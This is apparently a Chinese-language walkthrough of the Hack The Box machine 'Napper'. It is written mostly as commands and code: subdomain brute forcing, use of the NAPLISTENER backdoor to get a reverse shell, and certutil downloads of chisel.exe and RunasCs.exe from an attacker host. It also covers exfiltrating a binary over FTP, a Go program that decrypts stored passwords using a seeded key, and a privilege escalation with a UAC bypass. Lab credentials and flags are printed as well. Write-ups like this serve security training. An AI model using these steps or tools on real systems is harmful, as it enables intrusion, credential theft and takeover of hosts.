[Meachines][Hard]Napper
字数 1359 2025-08-19 12:42:16

Napper 渗透测试实战教学文档

1. 目标识别与信息收集

1.1 初始扫描

使用Nmap进行全端口扫描和服务识别:

nmap -p- -sC -sV 10.10.11.240 --min-rate 1000

1.2 Web目录枚举

使用Gobuster进行目录扫描:

gobuster dir -u "https://app.napper.htb" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -k

1.3 子域名枚举

使用FFuf进行子域名爆破:

ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fs 5602 -t 100 -u https://napper.htb -H "Host: FUZZ.napper.htb"

发现子域名后,更新/etc/hosts文件:

echo "10.10.11.240 napper.htb app.napper.htb internal.napper.htb" >> /etc/hosts

2. 认证绕过与初始访问

2.1 基础认证发现

https://app.napper.htb/posts/setup-basic-auth-powershell/找到如何设置基础认证的说明

2.2 访问内部站点

使用示例凭据访问internal.napper.htb,发现关于NAPLISTENER恶意软件的信息

3. NAPLISTENER后门利用

3.1 NAPLISTENER分析

NAPLISTENER是一个C#编写的HTTP监听器,特点:

  • 使用Wmdtc.exe伪装成Microsoft分布式事务协调器服务
  • 监听HTTP请求并执行Base64编码的.NET程序集
  • 通过/ews/MsExgHealthCheckd/端点接收命令

3.2 使用NAPLISTENER扫描工具

从GitHub获取工具:

git clone https://github.com/MartinxMax/Naplistener

扫描目标确认后门存在:

python3 Naplistener.py -u "https://napper.htb"

建立反向shell:

python3 Naplistener.py -u "https://napper.htb" -lh 10.10.16.15 -lp 10032

4. 权限提升路径

4.1 发现LAPS替代方案

C:\Temp\www\internal\content\posts\no-more-laps.md发现:

  • 组织正在用自定义方案替代LAPS
  • 备份用户密码存储在本地Elastic数据库中
  • IT部门将部署解密客户端

4.2 发现Elasticsearch凭据

internal-laps-alpha目录下的.env文件中发现:

username:user
password:DumpPassword$Here

4.3 建立Elasticsearch隧道

使用Chisel建立反向隧道:

# Kali端
chisel server --port 9201 --reverse

# 目标机
powershell -c certutil -urlcache -split -f "http://10.10.16.15/chisel.exe" chisel.exe
.\chisel.exe client 10.10.16.15:9201 R:9200:127.0.0.1:9200

4.4 查询Elasticsearch数据

列出所有索引:

curl -k https://127.0.0.1:9200/_cat/indices -u 'user:DumpPassword$Here'

查询特定索引数据:

curl -k https://127.0.0.1:9200/seed/_search -u 'user:DumpPassword$Here' | jq
curl -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' | jq

5. 逆向工程分析

5.1 获取并分析a.exe

使用FTP传输文件:

# Kali设置FTP服务器
pip3 install pyftpdlib
mkdir ftp_temp; cd ftp_temp
python3 -m pyftpdlib -w -u martin -P martin -p 21

# 目标机上传
curl -T a.exe -u martin:martin ftp://10.10.16.15/

5.2 逆向分析发现

使用Binary Ninja分析发现:

  • 程序用Golang编写
  • 主要函数:main.main, main.randStringList, main.genKey, main.encrypt
  • 使用AES CFB模式加密数据
  • 密钥生成依赖Elasticsearch中的种子值

6. 密码解密与权限提升

6.1 编写解密程序

创建Go解密脚本decrypt.go

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "encoding/base64"
    "fmt"
    mrand "math/rand"
    "os"
    "strconv"
)

func genKey(seed_key string) []byte {
    seed, _ := strconv.Atoi(seed_key)
    mrand.Seed(int64(seed))
    key := make([]byte, 16)
    for i := 0; i < 16; i++ {
        key[i] = byte(mrand.Intn(255-1) + 1)
    }
    return key
}

func decrypt(key []byte, cryptoText string) string {
    ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)
    block, err := aes.NewCipher(key)
    if err != nil {
        panic(err)
    }
    if len(ciphertext) < aes.BlockSize {
        panic("ciphertext too short")
    }
    iv := ciphertext[:aes.BlockSize]
    ciphertext = ciphertext[aes.BlockSize:]
    stream := cipher.NewCFBDecrypter(block, iv)
    stream.XORKeyStream(ciphertext, ciphertext)
    return fmt.Sprintf("%s", ciphertext)
}

func main() {
    seed_key := genKey(os.Args[1])
    decrypted_pass := decrypt(seed_key, os.Args[2])
    fmt.Println("Decrypted pass: ", decrypted_pass)
}

6.2 解密备份用户密码

编译并运行解密程序:

go build decrypt.go
./decrypt $(curl -s -k https://127.0.0.1:9200/seed/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.seed') "$(curl -s -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.blob')"

获取备份用户凭据:

username: backup
password: mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg

6.3 使用RunasCs提权

下载并执行RunasCs:

powershell -c certutil -urlcache -split -f "http://10.10.16.15/RunasCs.exe" RunasCs.exe
.\RunasCs.exe backup mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg powershell.exe -r 10.10.16.15:10077 --bypass-uac

7. 获取Flag

7.1 用户Flag

type C:\Users\ruben\Desktop\user.txt
# acfc1c341ef2ec0ea83e1c14899371c2

7.2 管理员Flag

type c:\users\administrator\desktop\root.txt
# 26f995d74ea1f7b576938bbf0de6ee1b

关键知识点总结

  1. NAPLISTENER后门:了解如何识别和利用自定义HTTP监听器后门
  2. Elasticsearch利用:通过暴露的Elasticsearch服务获取敏感信息
  3. Golang逆向:分析Golang二进制文件的关键函数和逻辑
  4. AES CFB解密:实现基于种子值的AES解密过程
  5. RunasCs提权:使用替代凭据执行高权限操作的技术

此渗透测试过程展示了从信息收集到权限提升的完整链条,重点在于理解应用程序逻辑、逆向工程和加密机制分析。

Napper 渗透测试实战教学文档 1. 目标识别与信息收集 1.1 初始扫描 使用Nmap进行全端口扫描和服务识别: 1.2 Web目录枚举 使用Gobuster进行目录扫描: 1.3 子域名枚举 使用FFuf进行子域名爆破: 发现子域名后,更新/etc/hosts文件: 2. 认证绕过与初始访问 2.1 基础认证发现 在 https://app.napper.htb/posts/setup-basic-auth-powershell/ 找到如何设置基础认证的说明 2.2 访问内部站点 使用示例凭据访问 internal.napper.htb ,发现关于NAPLISTENER恶意软件的信息 3. NAPLISTENER后门利用 3.1 NAPLISTENER分析 NAPLISTENER是一个C#编写的HTTP监听器,特点: 使用 Wmdtc.exe 伪装成Microsoft分布式事务协调器服务 监听HTTP请求并执行Base64编码的.NET程序集 通过 /ews/MsExgHealthCheckd/ 端点接收命令 3.2 使用NAPLISTENER扫描工具 从GitHub获取工具: 扫描目标确认后门存在: 建立反向shell: 4. 权限提升路径 4.1 发现LAPS替代方案 在 C:\Temp\www\internal\content\posts\no-more-laps.md 发现: 组织正在用自定义方案替代LAPS 备份用户密码存储在本地Elastic数据库中 IT部门将部署解密客户端 4.2 发现Elasticsearch凭据 在 internal-laps-alpha 目录下的 .env 文件中发现: 4.3 建立Elasticsearch隧道 使用Chisel建立反向隧道: 4.4 查询Elasticsearch数据 列出所有索引: 查询特定索引数据: 5. 逆向工程分析 5.1 获取并分析a.exe 使用FTP传输文件: 5.2 逆向分析发现 使用Binary Ninja分析发现: 程序用Golang编写 主要函数: main.main , main.randStringList , main.genKey , main.encrypt 使用AES CFB模式加密数据 密钥生成依赖Elasticsearch中的种子值 6. 密码解密与权限提升 6.1 编写解密程序 创建Go解密脚本 decrypt.go : 6.2 解密备份用户密码 编译并运行解密程序: 获取备份用户凭据: 6.3 使用RunasCs提权 下载并执行RunasCs: 7. 获取Flag 7.1 用户Flag 7.2 管理员Flag 关键知识点总结 NAPLISTENER后门 :了解如何识别和利用自定义HTTP监听器后门 Elasticsearch利用 :通过暴露的Elasticsearch服务获取敏感信息 Golang逆向 :分析Golang二进制文件的关键函数和逻辑 AES CFB解密 :实现基于种子值的AES解密过程 RunasCs提权 :使用替代凭据执行高权限操作的技术 此渗透测试过程展示了从信息收集到权限提升的完整链条,重点在于理解应用程序逻辑、逆向工程和加密机制分析。